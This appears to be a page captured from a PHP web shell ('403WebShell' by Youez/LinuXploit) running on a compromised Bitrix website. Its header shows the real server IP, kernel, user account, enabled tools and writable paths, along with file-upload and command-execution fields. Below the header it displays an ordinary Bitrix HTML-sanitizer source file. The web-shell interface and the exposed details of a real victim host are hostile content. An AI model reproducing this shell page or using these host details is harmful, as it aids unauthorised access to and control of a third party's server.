%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.16.48.143
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/lib/block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/lib/block/sanitizer.php
<?
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Fileman\Block;

use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/**
 * Class Sanitizer
 * @package Bitrix\Fileman\Block
 */
class Sanitizer
{
	/**
	 * Clean Html.
	 *
	 * @param string $html Html.
	 * @return string
	 */
	public static function clean($html)
	{
		$tags = self::getTags() + array(
			'html' => array('xmlns'),
			'head' => array(),
			'body' => array(),
			'meta' => array('content', 'name', 'http-equiv'),
			'title' => array(),
			'style' => array(Editor::STYLIST_TAG_ATTR, 'type'),
			'link' => array('type', 'rel', 'href'),
		);

		$commonAttributes = self::getCommonAttributes();
		foreach ($tags as $tagName => $attributes)
		{
			$tags[$tagName] = array_merge($attributes, $commonAttributes);
		}

		$sanitizer = new \CBXSanitizer();
		$sanitizer->setLevel(\CBXSanitizer::SECURE_LEVEL_LOW);
		$sanitizer->addTags($tags);
		$sanitizer->allowAttributes([
			Editor::BLOCK_PHP_ATTR => [
				'tag' => function ()
				{
					return true;
				},
				'content' => function ()
				{
					return true;
				},
			]
		]);
		$sanitizer->applyDoubleEncode(false);

		$storedMap = self::replacePhpToTags($html);
		$html = $sanitizer->sanitizeHtml($html);
		self::replaceTagsToPhp($html, $storedMap);

		return $html;
	}

	protected static function getCommonAttributes()
	{
		return array(
			Editor::BLOCK_PHP_ATTR,
			'style', 'id', 'class', 'color', 'align', 'valign',
			'height', 'width', 'title', 'style', 'class',
			Editor::BLOCK_PLACE_ATTR,
			'data-bx-block-editor-block-type'
		);
	}

	protected static function getTags()
	{
		$tags = array(
			'a'	=> array('href', 'title','name','style','id','class','shape','coords','alt','target'),
			'b'	=> array('style','id','class'),
			'br' => array('style','id','class'),
			'big' => array('style','id','class'),
			'blockquote' => array('title','style','id','class'),
			'caption' => array('style','id','class'),
			'code' => array('style','id','class'),
			'del' => array('title','style','id','class'),
			'div' => array('title','style','id','class','align'),
			'dt' => array('style','id','class'),
			'dd' => array('style','id','class'),
			'font' => array('color','size','face','style','id','class'),
			'h1' => array('style','id','class','align'),
			'h2' => array('style','id','class','align'),
			'h3' => array('style','id','class','align'),
			'h4' => array('style','id','class','align'),
			'h5' => array('style','id','class','align'),
			'h6' => array('style','id','class','align'),
			'hr' => array('style','id','class'),
			'i' => array('style','id','class'),
			'img' => array('src','alt','height','width','title'),
			'ins' => array('title','style','id','class'),
			'li' => array('style','id','class'),
			'map' => array('shape','coords','href','alt','title','style','id','class','name'),
			'ol' => array('style','id','class'),
			'p'	=> array('style','id','class','align'),
			'pre' => array('style','id','class'),
			's'	=> array('style','id','class'),
			'small'	=> array('style','id','class'),
			'strong' => array('style','id','class'),
			'span' => array('title','style','id','class','align'),
			'sub' => array('style','id','class'),
			'sup' => array('style','id','class'),
			'table' => array('border','width','style','id','class','cellspacing','cellpadding'),
			'tbody'	=> array('align','valign','style','id','class'),
			'td' => array('width','height','style','id','class','align','valign','colspan','rowspan'),
			'tfoot' => array('align','valign','style','id','class','align','valign'),
			'th' => array('width','height','style','id','class','colspan','rowspan'),
			'thead'	=> array('align','valign','style','id','class'),
			'tr' => array('align','valign','style','id','class'),
			'u'	=> array('style','id','class'),
			'ul' => array('style','id','class'),
			'php' => array('id'),
		);

		return $tags;
	}

	private static function replacePhpToTags(&$html)
	{
		if(!preg_match_all('/(<\?[\W\w\n]*?\?>)/i', $html, $matches, PREG_SET_ORDER))
		{
			return [];
		}

		if (!is_array($matches))
		{
			return [];
		}

		$stored = [];
		$counter = 0;
		foreach($matches as $key => $value)
		{
			$counter++;
			$stored["<php id=\"{$counter}\"></php>"] = $value[0];
		}

		$html = str_replace(
			array_values($stored),
			array_keys($stored),
			$html
		);

		return $stored;
	}

	private static function replaceTagsToPhp(&$html, array $stored = [])
	{
		$html = str_replace(
			array_keys($stored),
			array_values($stored),
			$html
		);

		return $html;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit